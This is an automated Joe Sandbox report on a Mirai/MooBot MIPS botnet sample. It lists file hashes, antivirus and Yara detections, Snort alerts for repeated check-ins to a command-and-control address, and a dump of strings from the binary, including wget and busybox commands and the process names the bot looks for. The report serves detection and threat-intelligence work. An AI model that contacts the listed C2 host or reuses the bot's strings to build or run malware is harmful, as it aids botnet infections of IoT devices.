Edit tour

Linux Analysis Report
mips.elf

Overview

General Information

Sample Name:	mips.elf
Analysis ID:	1320783
MD5:	b68dc8da629650ceb847a248c2727526
SHA1:	37d600f72169789eba7342a50ec29ff87a161091
SHA256:	92f1cf4772ef4cd3cf30c544b978789470e07e5969128e79720f1bd75ad0d8c1
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Detected Mirai

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara signature match

Sample has stripped symbol table

HTTP GET or POST without a user agent

Uses the "uname" system call to query kernel version information (possible evasion)

Found strings indicative of a multi-platform dropper

Enumerates processes within the "proc" file system

Detected TCP or UDP traffic on non-standard ports

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1320783
Start date and time:	2023-10-06 10:08:24 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	mips.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/1025@23/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/mips.elf
PID:	5519
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

mips.elf (PID: 5519, Parent: 5437, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/mips.elf

mips.elf New Fork (PID: 5521, Parent: 5519)

mips.elf New Fork (PID: 5523, Parent: 5521)

mips.elf New Fork (PID: 5524, Parent: 5521)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
mips.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
mips.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x24250:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24264:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24278:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2428c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x242a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x242b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x242c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x242dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x242f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24304:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24318:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2432c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24340:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24354:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24368:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2437c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24390:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5519.1.00007fc994400000.00007fc994428000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5519.1.00007fc994400000.00007fc994428000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x24250:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24264:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24278:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2428c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x242a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x242b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x242c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x242dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x242f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24304:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24318:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2432c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24340:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24354:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24368:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2437c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24390:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: mips.elf PID: 5519	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: mips.elf PID: 5519	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3fa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x40e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x422:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x436:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x44a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x45e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x472:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x486:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x49a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4ae:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4c2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4d6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4ea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4fe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x512:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x526:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x53a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x54e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x562:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x576:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x58a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Snort Signatures

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742642199902030490 10/06/23-10:09:46.715739
SID:	2030490
Source Port:	42642
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742610199902030490 10/06/23-10:09:36.007905
SID:	2030490
Source Port:	42610
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742774199902030490 10/06/23-10:10:15.830454
SID:	2030490
Source Port:	42774
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742916199902030490 10/06/23-10:10:58.794553
SID:	2030490
Source Port:	42916
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742602199902030490 10/06/23-10:09:15.629176
SID:	2030490
Source Port:	42602
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742750199902030490 10/06/23-10:10:10.125158
SID:	2030490
Source Port:	42750
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742752199902030490 10/06/23-10:10:11.981472
SID:	2030490
Source Port:	42752
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742810199902030490 10/06/23-10:10:30.536222
SID:	2030490
Source Port:	42810
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742682199902030490 10/06/23-10:09:51.571898
SID:	2030490
Source Port:	42682
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742820199902030490 10/06/23-10:10:34.377389
SID:	2030490
Source Port:	42820
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742884199902030490 10/06/23-10:10:49.079271
SID:	2030490
Source Port:	42884
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742604199902030490 10/06/23-10:09:19.469518
SID:	2030490
Source Port:	42604
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742716199902030490 10/06/23-10:10:02.434508
SID:	2030490
Source Port:	42716
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742638199902030490 10/06/23-10:09:42.861538
SID:	2030490
Source Port:	42638
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742606199902030490 10/06/23-10:09:27.310452
SID:	2030490
Source Port:	42606
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742792199902030490 10/06/23-10:10:21.682767
SID:	2030490
Source Port:	42792
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742718199902030490 10/06/23-10:10:07.283964
SID:	2030490
Source Port:	42718
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742844199902030490 10/06/23-10:10:38.224940
SID:	2030490
Source Port:	42844
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742902199902030490 10/06/23-10:10:55.940967
SID:	2030490
Source Port:	42902
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742600199902030490 10/06/23-10:09:09.778885
SID:	2030490
Source Port:	42600
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.67.197.87

Timestamp:	192.168.2.15103.67.197.8742608199902030490 10/06/23-10:09:30.160135
SID:	2030490
Source Port:	42608
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mips.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: mips.elf

ReversingLabs: Detection: 60%

Source: mips.elf

String: HTTP/1.1 200 OKconcakhbtandhuy.armconcakhbtandhuy.arm5concakhbtandhuy.arm6concakhbtandhuy.arm7concakhbtandhuy.mipsconcakhbtandhuy.mpslconcakhbtandhuy.x86_64concakhbtandhuy.sh4/proc/proc/%d/cmdlinenetstatcurlechobin/busyboxbusybox wget/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/tmp/boot/proc/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystemcundicundi.*var/Condibin/Condibin/babylonetop1hbt/root/dvr_gui//root/dvr_app//anko-app/902i13BzSxLxBxeYHOHO-LUGO7HOHO-U79OLJuYfouyf87NiGGeR69xdSO190Ij1XLOLKIKEEEDDEekjheory98escansh4MDMAfdevalvexscanspcMELTEDNINJAREALZflexsonskidsscanx86MISAKI-U79OLfoAxi102kxeswodjwodjwojMmKiy7f87lfreecookiex86sysgpufrgegesysupdater0DnAzepdNiGGeRD0nks69frgreu0x766f6964NiGGeRd0nks1337gafturasgbsigboa120i3UI49OaF3geaevaiolmao123123aOfurain0n4H34DggTrexewwasads1293194hjXDOthLaLosnggtwget-log1337SoraLOADERSAIAKINAggtq1378bfp919GRB1Q2SAIAKUSOggtr14FaSEXSLAVE1337ggtt1902a3u912u3u4haetrghbr19ju3dSORAojkf120hehahejeje922U2JDJA901F91SlaVLav12helpmedaddthhhhh2wgg9qphbqSlav3Th3seD3viceshzSmYZjYMQ5GbfsoraSoRAxD123LOLiaGv5aA3SoRAxD420LOLinsomni640277SoraBeReppin1337ipcamCache66tlGg9QjUYfouyf876ke3TOKYO3lyEeaXul2dULCVxh93OfjHZ2zTY2gD6MZvKc7KU6rmMkiy6f87lA023UU4U24UIUTheWeekndmioribitchesA5p9TheWeekndsmnblkjpoiAbAdTokyosnebAkiruU8inTznetstatsAlexW9RCAKM20TnewnetwordAyo215WordnloadsBAdAsVWordmanenotyakuzaaBelchWordnetsobpBigN0gg0r420X0102I34fofhasfhiafhoiX19I239124UIUoismXSHJEHHEIIHWOolsVNwo12DeportedDeportedXkTer0GbA1onry0v03FortniteDownLOLZY0urM0mGaypussyfartlmaojkGrAcEnIgGeRaNnYvdGkqndCOqGeoRBe6BEGuiltyCrownZEuS69s4beBsEQhdHOHO-KSNDOZEuz69sat1234aj93hJ23scanHAalie293z0k2LscanJoshoARMHellInSideayyyGangShitscanJoshoARM5HighFryb1glscanJoshoARM6IWhPyucDbJboatnetzscanJoshoARM7IuYgujeIqnbtbatrtahzexsexscanJoshoM68KJJDUHEWBBBIBscanJoshoMIPSJSDGIEVIVAVIGcKbVkzGOPascanJoshoMPSLccADscanJoshoPPCKAZEN-OIU97chickenxingsscanJoshoSH4yakuskzm8KAZEN-PO78HcleanerscanJoshoSPCKAZEN-U79OLdbeefscanJoshoX86yakuz4c24KETASHI32ddrwelperscanarm5zPnr6HpQj2Kaishi-Iz90Ydeexecscanarm6zdrtfxcgyKatrina32doCP3fVjscanarm7zxcfhuioKsif91je39scanm68kKuasadvrhelperl33t_feetl33tl33tfeetscanmipsKuasaBinsMateeQnOhRk85rscanmpslLOLHHHOHOHBUIeXK20CL12ZnyamezyQBotBladeSPOOKYhikariwasherep4029x91xx32uhj4gbejhwizardzhra.outboatnetdbgcondiheroshimaskid.dbglzrdPownedSecurity69.aresfxlyazsxhyUNSTABLEunstable_is_the_story_of_the_universemoobotjnsd9sdoilayourmomgaeissdfjiougsiojOasisSEGRJIJHFVNHSNHEIHFOSapep999KOWAI-BAdAsVKOWAI-SADjHKipU7Ylairdropmalwareyour_verry_fucking_gayBig-Bro-Brightsefaexecshirololieagle.For-Gai-Mezy0x6axNLcloqkisvspookymythSwergjmioGKILLEJW(IU(JIWERGFJGJWJRGHetrhwewrtheIuFdKssCxzjSDFJIjioOnrYoXd666ewrtkjokethajbdf89w

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42600 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42602 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42604 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42606 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42608 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42610 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42638 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42642 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42682 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42716 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42718 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42750 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42752 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42774 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42792 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42810 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42820 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42844 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42884 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42902 -> 103.67.197.87:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:42916 -> 103.67.197.87:19990

